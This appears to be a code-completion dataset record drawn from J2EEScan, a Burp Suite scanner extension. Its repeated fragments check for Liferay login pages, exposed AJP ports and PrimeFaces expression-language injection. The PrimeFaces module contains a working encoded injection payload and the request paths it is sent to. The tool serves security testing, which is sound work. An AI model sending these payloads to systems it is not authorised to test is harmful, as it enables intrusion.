// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/LiferayDefaultCredentials.java
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.ICookie;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
// Check if the vulnerability has already been issued
if (IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay Hardening - Login page found",
protocol,
host)) {
return issues;
}
String contextList[] = { "", getApplicationContext(url) };
for(String context : contextList){
String system = host + Integer.toString(port) + context;
if(!hs.add(system))
continue;
try{
// Check for login page
urlMod = new URL(protocol, host, port, context + LOGIN_PATH);
byte[] request = helpers.buildHttpRequest(urlMod);
byte[] response = callbacks.makeHttpRequest(host, port, useHttps, request);
IResponseInfo respInfo = helpers.analyzeResponse(response);
if(respInfo.getStatusCode() == 200){
Pattern p1 = Pattern.compile(LOGIN_PATTERN[0], Pattern.DOTALL),
p2 = Pattern.compile(LOGIN_PATTERN[1], Pattern.DOTALL);
if(p1.matcher(helpers.bytesToString(response)).matches() && p2.matcher(helpers.bytesToString(response)).matches()){ | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/AJPDetector.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
for (int port : AJP13PORTS) {
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
//Send a CPing using a raw TCP socket
byte[] CPing = new byte[]{
(byte) 0x12, (byte) 0x34, (byte) 0x00, (byte) 0x01, (byte) 0x0a};
//Retrieve CPong
byte[] CPong = null;
try {
CPong = sendData(host, port, CPing);
} catch (IOException ex) {
stderr.println("[!] AJPDetector Socket error: " + host + ":" + port);
}
if (CPong != null && getHex(CPong).equalsIgnoreCase("414200010900000000")) {
try {
//AJP detected | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/AJPDetector.java
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
for (int port : AJP13PORTS) {
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
//Send a CPing using a raw TCP socket
byte[] CPing = new byte[]{
(byte) 0x12, (byte) 0x34, (byte) 0x00, (byte) 0x01, (byte) 0x0a};
//Retrieve CPong
byte[] CPong = null;
try {
CPong = sendData(host, port, CPing);
} catch (IOException ex) {
stderr.println("[!] AJPDetector Socket error: " + host + ":" + port);
}
if (CPong != null && getHex(CPong).equalsIgnoreCase("414200010900000000")) {
try {
//AJP detected | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/PrimeFacesELInjection.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | private static final String INJ_TEST = "uMKljPgnOTVxmOB%2bH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVYjEh7SE3F4WmfKUle6apy2QGwABuVlzurPsgFxYP0G3b1dDqmgmxMw%3d%3d";
// List of host and port system already tested
private static LinkedHashSet hs = new LinkedHashSet();
// List of host port and context already tested
private static LinkedHashSet hsc = new LinkedHashSet();
private PrintWriter stderr;
private PrintWriter stdout;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
stdout = new PrintWriter(callbacks.getStdout(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
List<IScanIssue> issues = new ArrayList<>();
List<String> PAYLOADS = new ArrayList<>();
PAYLOADS.add("/javax.faces.resource/j2eescan.xhtml?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
PAYLOADS.add("/javax.faces.resource/j2eescan.jsf?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
| // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/PrimeFacesELInjection.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
private static final String INJ_TEST = "uMKljPgnOTVxmOB%2bH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVYjEh7SE3F4WmfKUle6apy2QGwABuVlzurPsgFxYP0G3b1dDqmgmxMw%3d%3d";
// List of host and port system already tested
private static LinkedHashSet hs = new LinkedHashSet();
// List of host port and context already tested
private static LinkedHashSet hsc = new LinkedHashSet();
private PrintWriter stderr;
private PrintWriter stdout;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
stderr = new PrintWriter(callbacks.getStderr(), true);
stdout = new PrintWriter(callbacks.getStdout(), true);
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
List<IScanIssue> issues = new ArrayList<>();
List<String> PAYLOADS = new ArrayList<>();
PAYLOADS.add("/javax.faces.resource/j2eescan.xhtml?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
PAYLOADS.add("/javax.faces.resource/j2eescan.jsf?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
| if (!isJavaApplicationByURL(url)) { |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/PrimeFacesELInjection.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | List<String> PAYLOADS = new ArrayList<>();
PAYLOADS.add("/javax.faces.resource/j2eescan.xhtml?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
PAYLOADS.add("/javax.faces.resource/j2eescan.jsf?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
if (!isJavaApplicationByURL(url)) {
return issues;
}
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String PAYLOAD : PAYLOADS) {
URL jsfURIToTest;
try {
jsfURIToTest = new URL(protocol, url.getHost(), url.getPort(), PAYLOAD);
byte[] jsfRequestHTTP = helpers.buildHttpRequest(jsfURIToTest);
byte[] browserResponse = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jsfRequestHTTP);
IResponseInfo modifiedResponseInfo = helpers.analyzeResponse(browserResponse);
// check the injected HTTP header
for (String header : modifiedResponseInfo.getHeaders()) {
if (header.contains("J2EESCANPRIME")) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/PrimeFacesELInjection.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
List<String> PAYLOADS = new ArrayList<>();
PAYLOADS.add("/javax.faces.resource/j2eescan.xhtml?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
PAYLOADS.add("/javax.faces.resource/j2eescan.jsf?pfdrt=sc&ln=primefaces&pfdrid=" + PrimeFacesELInjection.INJ_TEST);
if (!isJavaApplicationByURL(url)) {
return issues;
}
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String PAYLOAD : PAYLOADS) {
URL jsfURIToTest;
try {
jsfURIToTest = new URL(protocol, url.getHost(), url.getPort(), PAYLOAD);
byte[] jsfRequestHTTP = helpers.buildHttpRequest(jsfURIToTest);
byte[] browserResponse = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, jsfRequestHTTP);
IResponseInfo modifiedResponseInfo = helpers.analyzeResponse(browserResponse);
// check the injected HTTP header
for (String header : modifiedResponseInfo.getHeaders()) {
if (header.contains("J2EESCANPRIME")) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/PrimeFacesELInjection.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.isJavaApplicationByURL;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; |
issues.add(new CustomScanIssue(
baseRequestResponse.getHttpService(),
jsfURIToTest,
new CustomHttpRequestResponse(jsfRequestHTTP, browserResponse, baseRequestResponse.getHttpService()),
TITLE,
DESCRIPTION,
REMEDY,
Risk.High,
Confidence.Certain));
}
}
} catch (MalformedURLException ex) {
stderr.println("Malformed URL Exception " + ex);
}
}
}
/**
* Test on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test the issue
*
* Ex: http://www.example.com/myapp/manage/env
*/ | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static Boolean isJavaApplicationByURL(URL url) {
//
// if (url == null) {
// return false;
// }
//
// String curExtension = "";
//
// int i = url.getPath().lastIndexOf('.');
// if (i > 0) {
// curExtension = url.getPath().substring(i + 1);
// } else {
// // If the path does not contain an extension
// // fallback and return true to minimize false negatives on checks
// return true;
// }
//
// List notJ2EETechs = new ArrayList<>();
// notJ2EETechs.add("php");
// notJ2EETechs.add("asp");
// notJ2EETechs.add("cgi");
// notJ2EETechs.add("pl");
//
// return (!notJ2EETechs.contains(curExtension));
//
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
